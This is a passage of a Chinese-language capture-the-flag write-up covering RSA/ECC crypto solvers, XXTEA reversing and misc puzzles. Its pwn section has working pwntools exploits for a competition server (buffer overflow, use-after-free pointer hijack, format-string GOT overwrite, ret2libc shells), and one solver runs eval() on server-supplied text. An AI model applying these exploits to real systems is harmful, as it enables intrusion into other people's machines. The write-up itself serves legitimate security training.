r1 = 2 * q1 + s
if is_prime(q1) and is_prime(r1):
n1 = p1 * q1 * r1
n2 = p2 * q2
break
return n1,n2,p1,p2

n1,n2, p1, p2 = gen()
e = 65537

flag = "flag{---------------------------------------}".encode()
m1 = bytes_to_long(flag[: (len(flag)+1) // 2])
m2 = bytes_to_long(flag[(len(flag)+1) // 2 :])

c1 = powmod(m1, e, n1)
c2 = powmod(m2, e, n2)

gift = p2 >> 262

print(f"e = {e}")
print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"p1 = {p1}")
print(f"gift = {gift}")

题目生成 $n_1 = p_1q_1r_1$,且:

$q_1 = 2p_1 + s$,$r_1 = 2q_1 + s = 4p_1 + 3s$

其中 s = q2 & ((1 << 56) - 1)(即 q2 的低 56 位)。

由此令 $N = n_1 // p_1 = q_1r_1$,代入得到:

$N = q_1r_1 = q_1(2q_1 + s) = 2q_1^2 + sq_1$

两边对 $p_1$ 取模,可导出模 $p_1$ 的二次方程来求 $s$, 简化得到:

$N \equiv 3s^2 \pmod {p_1}$

可以算出 $s^2 \bmod {p_1}$,再求有限域开方得到 $s$,即可恢复 $q_1,r_1$,从而完整分解 $n_1$,解密 $c_1$。

第二部分用 $n_2 = p_2q_2$ 加密。已知 $p_2$ 的高位 250 bit,又由 s = q2 & ((1<<56)-1),还可算出 $p_2 \bmod {2^{56}}$。

所以已知 $p_2$ 的高 250 bit 和低 56 bit,用coppersmith求中间部分bit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Util.number import *
from tqdm import *

e = 65537
n1 = 153535945724301761635048132162798014938917969845079448489545851494873442295873133893384411532854581537976576911336083
n2 = 84803188245030813883191077133506154725049469687779805365997839479650548017159380111143407950887981137367898417071670318175553216747909857623397932606557900805065642334402683077054566841962022705300815246585360967197421835628665369002004215185956537117678561509558467837953178340079218753108643544534307300779
c1 = 91344805342373294041484814707589753503672726499268929615405258196853851463816933913580106446612439099622637694719344
c2 = 65030067863230521561732635665855986696538207379818716373900645903663706519394086998921178373079966943522635174648820466855368885032783946013202871621053763074374114131710373913193434831822631037825109588592562599802388631816046111419285162200967000421088941791542557891726383026274591733889350668008350880276
p1 = 267735952598198080786845163083151774667
gift = 1068605981024067598428983610552162240530726981658336444437430658822896756780

# part1
N = n1 // p1
s2 = N * inverse(3, p1)
s = int(mod(s2, p1).nth_root(2))
print(s)

q1 = 2*p1 + s
r1 = 2*q1 + s
f1 = (p1-1)*(q1-1)*(r1-1)
d1 = inverse(e, f1)
m1 = pow(c1, d1, n1)
print(long_to_bytes(m1))

# b'flag{Im_a_fw_that_only_'

# part2

p2l = int((n2 * inverse(s, 2^56)) % 2^56)

P.<x> = PolynomialRing(Zmod(n2))
f = gift * 2^262 + x * 2^56 + p2l
root = f.monic().small_roots(X=2^(262-56), beta=0.48)
print(root)

p2 = int(f(root[0]))
q2 = n2 // p2
f2 = (p2-1)*(q2-1)
d2 = inverse(e, f2)
m2 = pow(c2, d2, n2)
print(long_to_bytes(m2))

# b'crafts_RSA_challenges}'

flag:

flag{Im_a_fw_that_only_crafts_RSA_challenges}

Abg

How to obtain abg?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from Crypto.Util.number import *

def ECC(bit):
g = getPrime(bit)
a = getPrime(bit)
b = getPrime(bit)

E = EllipticCurve(GF(g),[a,b])
J = E.random_point()
K = E.random_point()
L = E.random_point()

r = getPrime(bit // 2)
k = getPrime(16)

s = r * J
s1 = r * J + k * L
s2 = r * k * J

return L.xy(), s.xy(), s1.xy(), s2.xy(), K.xy()

def RSA(m, s, bit):
p = getPrime(bit)
q = getPrime(bit)
rr = getPrime(bit)
n = p * q

gift = pow(rr, rr * (p-1), n)
enc = pow(m, int(s), n)

return gift, n, enc

flag = "flag{--------------------------------}"
m = bytes_to_long(flag.encode())

L, s, s1, s2, K = ECC(256)
gift, n, enc = RSA(m, abs(int(s[0] - s[1])), 512)

print("L =", L)
print("s1 =", s1)
print("s2 =", s2)
print("K =", K)
print("enc =", enc)
print("gift =", gift)
print("n =", n)

根据 gift = pow(rr, rr * (p-1), n),由于 $rr^{p-1} \equiv 1 \pmod p$

有 $\text{gift} = rr^{rr(p-1)} \equiv (rr^{p-1})^{rr} \equiv 1 \pmod p$

故 $p \mid (\text{gift} - 1)$,即 $p = \gcd(\text{gift}-1,n)$,分解 $n$。

ECC已知四个点:L, s1, s2, K,对应的曲线是:

$E:y^2=x^3+ax+b \pmod g$

对每个点 $(x_i,y_i)$ 都有:$y_i^2=x_i^3+ax+b \pmod g$

将右边移项定义:$D_i := y_i^2 - x_i^3 \equiv a x_i + b \pmod g$

对于三个点 $P_1, P_2, P_3$(如 $L, s_1, s_2$),满足:

$\begin{cases} D_1 \equiv a x_1 + b \pmod g \ D_2 \equiv a x_2 + b \pmod g \ D_3 \equiv a x_3 + b \pmod g \end{cases} $

将第一式分别相减:

$D_2 - D_1 \equiv a(x_2 - x_1) \pmod g$

$D_3 - D_1 \equiv a(x_3 - x_1) \pmod g$

消去 $a$:

$(D_2 - D_1)(x_3 - x_1) - (D_3 - D_1)(x_2 - x_1) \equiv 0 \pmod g$

因此 $g$ 必定整除:

$N_{123} := (D_2 - D_1)(x_3 - x_1) - (D_3 - D_1)(x_2 - x_1)$

若再选择另一组三点(如 $L, s_1, K$),可得第二个数 $N_{124}$。因此:

$g \mid N_{123}, g \mid N_{124}$

所以模数 $g = \gcd(N_{123}, N_{124})$。

接着用两点(如 $L, s_1$)求参数 $a$ 与 $b$:

$D_1 \equiv a x_1 + b \pmod g$

$D_2 \equiv a x_2 + b \pmod g$

相减得:

$D_2 - D_1 \equiv a(x_2 - x_1) \pmod g$

求逆 $(x_2 - x_1)^{-1} \pmod g$:

$a \equiv (D_2 - D_1)(x_2 - x_1)^{-1} \pmod g$

再代入即可求得:

$b \equiv D_1 - a x_1 \pmod g$

已知:$L, s_1, s_2$ ,未知:$s$ 和 $k$(已知 $k$ 为 16-bit 素数:getPrime(16)

由关系:

$ \begin{cases}
s_1 = s + kL \\
s_2 = k s
\end{cases} $

可推出:对正确的 $k$,

$ s = s_1 - kL $ 且 $ k s = s_2 $。

枚举所有 16-bit 素数 $k$(范围 $2^{15}\sim 2^{16}$),对每个候选 $k$,先在椭圆曲线群上计算 $kL$,计算 $S := s_1 - kL$,检查 $kS \stackrel{?}{=} s_2$。若等式成立,则该 $k$ 为正确的素数,且对应的 $S$ 即为所求点 $s$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from Crypto.Util.number import *
from sage.matrix.matrix2 import Matrix
from tqdm import *

def resultant(f1, f2, var):
return Matrix.determinant(f1.sylvester_matrix(f2, var))

L = (5612832632021037413595021905856059690922175615680426850888866965067320107819, 44286844991960812568914524464365492264373223903614475371204877844888511445056)
s1 = (3105425529931638108939225244969805843864193431777172585017902596003213488900, 21204057924591170352686471525538286905154747896755584173932333298433282086561)
s2 = (17163600514231693116809112204202083823354850361231568034507586407851022654385, 54523130652066750636213932541583111123904814992668862332727980305098543395332)
K = (84626796737477467367556465702814556148204747766624017939626441693356336891461, 20412858373065309258609569831347478221615957387864164638932871773748933195219)
enc = 77779248799562415787538731320739960822457760506615718084036279480880899171418681853821326436404494983875803921684003465855970542931724878457768817162166413967384579329072032251210520838992258491716245608876204830909672245330785235016998427930933850050898878548191256398496024681498083646200326639489612460844
gift = 27203859362379532209762716293585970661584968016465564915669656593570376250661463300469214869975225133883120425672896040102408082124157996563344160198308488970094544684114508100388704667496464400261830996514109943777210955076236899363247079300339008914936852187908757699066223721473477803084358704291887973927
n = 99350851709648177478181442570691890135193362203180628334780894515389735176666242281991349782055218048443285160186921692026870729324336754641181928398906259668775047724023372863155472201773397077316170491389813660679924150036914095032544796724427607899057109320556570067643629947815982002736525967748207154359

p = GCD(gift-1, n)
q = n // p

(x1,y1),(x2,y2),(x3,y3),(x4,y4) = L,s1,s2,K

PR.<a,b,g,k1,k2,k3,k4> = PolynomialRing(ZZ)
f1 = (y1^2+k1*g)-(x1^3+a*x1+b)
f2 = (y2^2+k2*g)-(x2^3+a*x2+b)
f3 = (y3^2+k3*g)-(x3^3+a*x3+b)
f4 = (y4^2+k4*g)-(x4^3+a*x4+b)
g1 = resultant(f1, f2, b)
g2 = resultant(f2, f3, b)
g3 = resultant(f3, f4, b)
h1 = resultant(g1, g2, a)
h2 = resultant(g2, g3, a)
g_gcd = gcd(h1(g=0),h2(g=0))
g = list(zip(*factor(g_gcd)))[0][-1]

PR.<a,b> = PolynomialRing(Zmod(g))
f1 = y1^2-(x1^3+a*x1+b)
f2 = y2^2-(x2^3+a*x2+b)
gg = resultant(f1, f2, b)
a = gg.univariate_polynomial().roots()[0][0]
b = y1^2-(x1^3+a*x1)
print(f'a = {a}')
print(f'b = {b}')
print(f'g = {g}')


E = EllipticCurve(GF(g),[a,b])
L, s1, s2, K = E(L), E(s1), E(s2), E(K)

for k in trange(2^15, 2^16):
S = s1 - k * L
if k * S == s2:
print(k)
e = int(S.xy()[0] - S.xy()[1])
print(e)
break

f = (p-1)*(q-1)
d = inverse(e, f)
m = pow(enc, d, n)
print(long_to_bytes(m))

# b'flag{this_1s_a_so_EZ_Ecc_and_RSA_}'

1ZRSA

How to restore d?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Util.number import *
from gmpy2 import *
import random

def RSA(m,nbit):
while True:
p, q, e = getPrime(nbit), getPrime(nbit), getPrime(nbit)
n = p * q
phi_n = (p - 1) * (q - 1)
d = int(inverse(e, phi_n))
if len(bin(d)[2:]) == 1024:
break

keep_bits = nbit * 2 - 100
mask = int((1 << keep_bits) - 1)
d_ = d & mask
c = powmod(m, e, n)
return c,n,e,d_

def gen(nbit):

c, n, e, d_ = RSA(m, nbit)
N = getPrime(nbit * 2)
t = random.randint(1, nbit * 2 - 1)
C = [random.randint(0, N - 1) for _ in range(t - 1)] + [powmod(d_,1,N)]
R.<x> = GF(N)[]
f = R(0)
for i in range(t):
f += x ** (t - i - 1) * C[i]
enc = [(a, f(a)) for a in [random.randint(1, N - 1) for _ in range(t)]]

with open("output.txt", "w", encoding="utf-8") as f_out:
f_out.write(f"c = {c}\n")
f_out.write(f"n = {n}\n")
f_out.write(f"e = {e}\n")
f_out.write(f"N = {N}\n")
f_out.write(f"enc = {enc}\n")

flag = "flag{-------------------------------}"
m = bytes_to_long(flag.encode())

if __name__ == "__main__":
gen(512)

先利用拉格朗日插值得到 $d_$,则有:

$d_ = d \bmod {2^{924}} = d \bmod M$

已知 $d$ 的低924 bit,高100 bit未知,参考paper恢复 $d$:

New Partial Key Exposure Attacks on RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from Crypto.Util.number import *
import gmpy2

c = 20097917975976244212804495505547378775192697398757852484470663134292303338857813665427361475291839742701897692021592768951337369359985753899758460501082688892433601859784370235024490582627653300910319966427446071365231403886401758454373421473918864377545067414137734340957459701356880555429257775991389025605
n = 116376326770473527049297745034424462379146540284343756148846306622695296997431548050079546989704848420774223823859722342721901422673100171517517663819430028774766695507474117022650117032173924418637376020646651244829309484447907193865089742989345611248697678364992258804991818299681579581902368620867953336499
e = 10353694792561707194043837777206399577514261278666517806783493423529968409432319317990981551349605049769644936765011036794341868203823088183868588952187757
N = 115408813468861281960898054657552253267239936634919735418599412235150663863228300311815071234925575799509694622324123385471137211728599972610452147428215161591420553224869213121337347045839044267723861662664273446685648591183391110699976950230645871945929809369143931450528289820037276983408630296615824828213
enc = [...]

def product(vals, p):
return reduce(lambda x, y: x * y % p, vals)

def lagrange_interpolate(x, x_s, y_s, p):
n = len(x_s)
assert n == len(set(x_s)) # x_s must be distinct
num = []
den = []
for i in range(n):
others = x_s[:i] + x_s[i+1:]
num.append(product((x - o for o in others), p))
den.append(product((x_s[i] - o for o in others), p))
dens = product(den, p)
res = 0
for i in range(n):
tmp1 = ((num[i] * dens % p) * y_s[i]) % p
tmp2 = tmp1 * gmpy2.invert(den[i], p) % p
res = (res + tmp2) % p
res = res * gmpy2.invert(dens, p) % p
return res

def shamir_sharing_encode(s, k, n, p):
a = [getRandomInteger(Nbits) for _ in range(k-1)]
res = []
for _ in range(n):
x = getRandomInteger(Nbits)
fx = s
for i in range(k-1):
fx = (fx + a[i] * pow(x, i+1, p)) % p
res.append((x, fx))
return res

def shamir_sharing_decode(shares, p):
x_s, y_s = zip(*shares)
return lagrange_interpolate(0, x_s, y_s, p)


d_ = shamir_sharing_decode(enc, N)
print(d_)


# https://iacr.org/archive/crypto2003/27290027/27290027.pdf

M = 2^924
ebits = e.nbits()

alpha = ebits / 1024
Y = int(n**alpha)
Z = int(3 * n**0.5)

m = 6
t = 2

poly = []
monomials = set()

PR.<y, z> = PolynomialRing(ZZ)
y, z = PR.gens()

f = y * (n - z) - e * d_ + 1

for i in range(0, m + 1):
for j in range(0, i + 1):
g = y**j * (e * M)**i * f**(m - i)
poly.append(g)
for mono in g.monomials():
monomials.add(mono)

for i in range(0, m + 1):
for j in range(1, t + 1):
h = z**j * (e * M)**i * f**(m - i)
poly.append(h)
for mono in h.monomials():
monomials.add(mono)

monomials = sorted(monomials)
L = Matrix(ZZ, len(poly), len(monomials))

for row, shift in enumerate(poly):
for col, monomial in enumerate(monomials):
L[row, col] = shift.monomial_coefficient(monomial) * monomial(Y, Z)

res = L.LLL()
vec1 = res[0]
vec2 = res[1]

f1 = 0
for idx, monomial in enumerate(monomials):
f1 += (vec1[idx] // monomial(Y, Z)) * monomial
f1 = f1.change_ring(ZZ)

f2 = 0
for idx, monomial in enumerate(monomials):
f2 += (vec2[idx] // monomial(Y, Z)) * monomial
f2 = f2.change_ring(ZZ)

h = f1.sylvester_matrix(f2, y).det()
h = h.univariate_polynomial().monic()

roots = h.roots()
print(roots) # p+q-1

# solve p,q
P.<p, q> = PolynomialRing(ZZ)
def solve(f1, f2):
g = f1.resultant(f2, q)
roots = g.univariate_polynomial().roots()
if len(roots) == 0:
return False
p_ = abs(roots[0][0])
q_ = abs(roots[1][0])
return (min(p_, q_), max(p_, q_))

res = int(roots[0][0])
f1 = res - (p+q-1)
f2 = n - p*q
p, q = solve(f1, f2)

f = (p-1)*(q-1)
d = inverse(e, f)
m = pow(c, d, n)
print(long_to_bytes(m))

# b'flag{Coppersmith_Lagrange_RSA_7f9d2b4e0a3c5e8g1h6j0k9l3m5n2p4q}'

REVERSE

Sign

MainActivity中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final void setupClickListener$lambda$0(MainActivity mainActivity, View view) {
EditText editText = mainActivity.etFlag;
if (editText == null) {
Intrinsics.throwUninitializedPropertyAccessException("etFlag");
editText = null;
}
String obj = StringsKt.trim((CharSequence) editText.getText().toString()).toString();
if (obj.length() == 0) {
mainActivity.showMessage("请输入flag", false);
} else if (mainActivity.checkFlag(obj)) {
mainActivity.showMessage("ok", true);
} else {
mainActivity.showMessage("no", false);
}
}

分析libmyapplication.so:

Java_com_example_myapplication_MainActivity_initNative 函数中,sub_1838 是AES-ECB算法,密文从文件qwqer来,key=”p0l1st”=0x70306c31737400000000000000000000

解AES得到elf文件,再分析elf:

Java_com_qwq_ezapp_MainActivity_checkFlag 函数中,`encrypt_string 是XXTEA算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import *

def shift(z, y, x, k, p, e):
return ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((x ^ y) + (k[(p & 3) ^ e] ^ z)))

def decrypt(v, k):
delta = 0x9E3779B9
n = len(v)
rounds = 6 + 52 // n
x = (rounds * delta) & 0xFFFFFFFF
y = v[0]
for i in range(rounds):
e = (x >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
v[p] = (v[p] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[p]
p -= 1
z = v[n - 1]
v[0] = (v[0] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[0]
x = (x - delta) & 0xFFFFFFFF
return v

key = [0xA56BABCD, 0x1F1234F1, 0x12345678, 0xFEDCBA98]

c = bytes.fromhex('1e86224f5efdbcb38252e24fffb382c90da769060f6eb7d5e77d3b9403cd5b28957bfd2270b963964f6fe2fe')
encrypted = [bytes_to_long(c[4*i:4*i+4]) for i in range(len(c)//4)]

decrypted = decrypt(encrypted, key)
final = b''
for i in range(len(decrypted)):
final += long_to_bytes(decrypted[i])[::-1]

print(final)

# b'flag{3afca981-b75b-435f-85ec-b2a3a85c4235}'

Ezvm

主要逻辑分析:

初始化数据:

v46(一个 4 元素的 __int64 数组)和 v45(字符串 "reverse1s3asy",长度 13)被硬编码为后续操作的密钥或常量。

v29v37 是一组长度为 9 的 操作序列(或操作码):0, 0, 1, 2, 0, 5, 2, 6, 0,但实际使用的操作序列是 v29v33 及其后的 5 个元素,即:0, 0, 1, 2, 0(这是由 v48 = 5i64 控制的循环次数)。

  • v29 是一个 64 位整数,初始值为 0i64
  • v30v37 是 8 个 32 位整数,初始值为 0, 1, 2, 0, 5, 2, 6, 0
  • 代码通过 v27 = *(&v29 + v52) 读取操作码,当 v52 从 0 循环到 4 时,读取的值依次是:v29(0),v30(0),v31(1),v32(2),v33(0)。
  • 最终执行的操作码序列是:0, 0, 1, 2, 0

  • 调用 sub_1400057D5(v28) 初始化一个 栈结构(或动态数组),用于存储中间结果。v28 结构体可能包含一个指向堆内存的指针、当前元素个数(0)、和容量(64)。

  • 输入 Flag:

    • 程序打印提示 "请输入flag\n"
    • 通过 fgets 读取用户输入到 Buffer(最大 256 字节)。
    • Size = strcspn(Buffer, "\n") 计算出实际输入字符串(Flag)的长度(不包括换行符)。
    • 分配内存 Block = malloc(Size) 并将 Flag 复制到 Block 中。
    • Flag 的数据 被设置到局部变量 v38 (指针) 和 v39 (长度) 中。

程序进入一个由 while (v51 && v52 < v48) 控制的循环,循环 5 次(因为 v48 = 5i64),依次执行操作码序列 0, 0, 1, 2, 0

这个循环操作一个 数据栈 v28,栈中存储的元素是 <指针, 长度> 结构体(类似于 C++ 的 std::vector<char>std::string 的实现)。

函数 sub_1400055A1

sub_1400055A1(v19, v20, v21, v22, v23)

执行一个核心运算,将 v20 ("reverse1s3asy") 和 v22 ("reverse1s3asy" 的副本) 作为数据和密钥进行处理。

sub_1400016CC

将输入数据(v20,即 "reverse1s3asy")从字节数组转换为32 位整数数组(大端或小端取决于平台和代码细节,但主要是 4 字节一组)。

sub_140001917

将密钥数据(v22,即 "reverse1s3asy" 的副本)的前 16 字节转换为 4 个 32 位整数(可能是一个 Key Schedule)。

sub_1400054ED

调用一个自定义的虚拟机/字节码解释器来对 32 位整数数组进行运算。

  • sub_140001A01sub_140001ECF 负责初始化和构建字节码。
  • sub_140001AFC 是 字节码解释器,使用 16 个 32 位寄存器(v5)和状态标志(v7)来执行操作,操作码(v4 的低字节)包括 MOV、ADD、SUB、XOR、SHL、SHR、AND、内存读写(从输入数据 a2 或 Key a3),以及条件跳转。这个函数是对输入数据进行了复杂的位运算和逻辑运算变换。

  • sub_1400017FD 将运算结果(32 位整数数组)再转换回 字节数组。

进入关键处理函数:

__int64 __fastcall sub_7FF791B91ECF(_QWORD *a1, unsigned int a2)

根据参数可以识别为算法可能为XXTEA,尝试解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *

def shift(z, y, x, k, p, e):
return ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((x ^ y) + (k[(p & 3) ^ e] ^ z)))

def decrypt(v, k):
delta = 0x9E3779B9
n = len(v)
rounds = 6 + 52 // n
x = (rounds * delta) & 0xFFFFFFFF
y = v[0]
for i in range(rounds):
e = (x >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
v[p] = (v[p] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[p]
p -= 1
z = v[n - 1]
v[0] = (v[0] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[0]
x = (x - delta) & 0xFFFFFFFF
return v

key = [0x65766572,0x31657372,0x73613373,0x79]

encrypted = [0xBA1A9983,0x792B1077,0x3D5B128C,0x68F0470C,0x56DD5F08,0x20633CE2]

decrypted = decrypt(encrypted, key)
final = b''
for i in range(len(decrypted)):
final += long_to_bytes(decrypted[i])[::-1]

print(final)

# b'flag{this_1s_3z_vmxxtea}'

PWN

PWN1

ret2text。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote('150.138.81.18',14536)

r.recvuntil(b'input: ')

win = 0x4011dd
ret = 0x40101a
pl = b'a'*(0x40+8)+p64(ret)+p64(win)
r.sendline(pl)

r.interactive()

PWN2

菜单题。

create_note限制最多申请9个,同时申请一个0x20的堆块存放数据指针,申请堆块存放在v2+0x8位置,v2+0x10位置存放打印函数地址。

delete_note存在uaf漏洞。

view_note使用通过调用堆上存在的指针,打印漏洞点的位置。

先通过view_note堆溢出,覆盖申请的第一个堆块的打印指针,当free掉两个堆块时,在存放size位置存在放了一个堆地址,而存在堆块地址的位置,存在一个heap_addr+0x10的位置。当写入数据时,输入长度会变得很大。劫持view_note函数的调用指针为win函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

r = remote('150.138.81.18',12491)

def cmd(idx):
r.sendlineafter(b"Choice: ",str(idx).encode())

def add(size,msg):
cmd(1)
r.sendlineafter(b'Size: ',str(size).encode())
r.sendafter(b'Content: ',msg)

def edit(idx,msg):
cmd(2)
r.sendlineafter(b'Index: ',str(idx).encode())
r.sendafter(b'content: ',msg)

def delete(idx):
cmd(3)
r.sendlineafter(b'Index: ',str(idx).encode())

def show(idx):
cmd(4)
r.sendlineafter(b'Index: ',str(idx).encode())

add(0x28,b'a')
add(0x28,b'c')
add(0x20,b'b')
delete(0)
delete(1)
edit(1,b'a'*(0x260+0x40)+p64(0x401236))
show(0)

r.interactive()

PWN3

格式化字符串,测试偏移是8,计算指针ptr对应的位置:

8+(0x70-8)//8=21

输入 %21$s,读出指针ptr指向的地址内容得flag。

PWN4

用格式化字符串泄露程序基址,然后修改printf_got为system_plt,最后getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.arch = 'amd64'

r = remote('150.138.81.18',13323)
elf = ELF('./pwn')

# pie_base
pl = b'%41$p'
r.sendline(pl)
pie_base = eval(r.recvline())-74-elf.sym.main
success(f'{pie_base:x}')

# printf_got -> system_plt
printf_got = pie_base+elf.got.printf
system_plt = pie_base+elf.plt.system
pl = fmtstr_payload(6,{printf_got:system_plt})
print(pl)
r.sendline(pl)

# read /bin/sh
r.sendline(b'/bin/sh\x00')

r.interactive()

PWN6

题目结构和pwn2一样,存在uaf和指针调用。

先释放两个堆块,进入tcachebins中,再重新申请0x18大小的堆块,劫持操作堆块,发现还存在打印指针,通过修改新的堆块构造rop链,之后再通过uaf漏洞edit_note劫持第1个堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.arch = 'amd64'

r = remote('150.138.81.18',14551)

def cmd(idx):
r.sendlineafter(b"Choice: ",str(idx).encode())

def add(size,msg):
cmd(1)
r.sendlineafter(b'Size: ',str(size).encode())
r.sendafter(b'Content: ',msg)

def edit(idx,msg):
cmd(2)
r.sendlineafter(b'Index: ',str(idx).encode())
r.sendafter(b'content: ',msg)

def delete(idx):
cmd(3)
r.sendlineafter(b'Index: ',str(idx).encode())

def show(idx):
cmd(4)
r.sendlineafter(b'Index: ',str(idx).encode())

add(0x28,b'a')
add(0x28,b'c')
add(0x20,b'b')
delete(0)
delete(1)
add(0x18,b'a')
edit(3,p64(0x402008)*2+p64(0x4010f0))
show(0)

r.interactive()

PWN7

ret2libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.arch = 'amd64'

r = remote('150.138.81.18',14832)
elf = ELF('./pwn7')

puts_plt = elf.plt.puts
puts_got = elf.got.puts
pop_rdi = 0x4016c1
ret = 0x40101a
start = 0x401110
r.recvuntil(b'something: ')
pl = flat([b'a'*(0xe+8),pop_rdi,puts_got,puts_plt,start])
r.send(pl)

r.recvline()
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f'{puts_addr:x}')

libc_base = puts_addr-0x080e50
system = libc_base+0x050d70
binsh = libc_base+0x1d8678

r.recvuntil(b'something: ')
pl = flat([b'a'*(0xe+8),ret,pop_rdi,binsh,system,start])
r.send(pl)

r.interactive()

MISC

Sign_in

Follow the WeChat public account ‘中龙技术’ and send ‘HSCCTF2025’ and ‘安全 KER’ community to get the flag
安全KER

公众号发关键词,得前半段:HSCCTF{w3lc0me_hScC

进入网页找到帖子,得后半段:tf2oz5}

flag:

HSCCTF{w3lc0me_hScCtf2oz5}

Signin_WhoRwe

jpg末尾字符串,flag:

HSCCTF{Th1s_15_uS}

Harris

投川普一票,然后等倒计时结束得flag。

CALC

交互题。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from tqdm import *

r = remote('150.138.81.18',13875)

for i in trange(500):
r.recvuntil(b'problem:\n')
exp=r.recvuntil(b'=')[:-1]
r.recvline()
r.sendline(str(eval(exp)).encode())
r.recvline()

r.interactive()

Hidden bullet comments

www.pinkiefm.com

根据题目提示“隐藏的弹幕”,注册,打开第一集,看弹幕。

flag:

HSCCTF{I_Love_Stupidfish}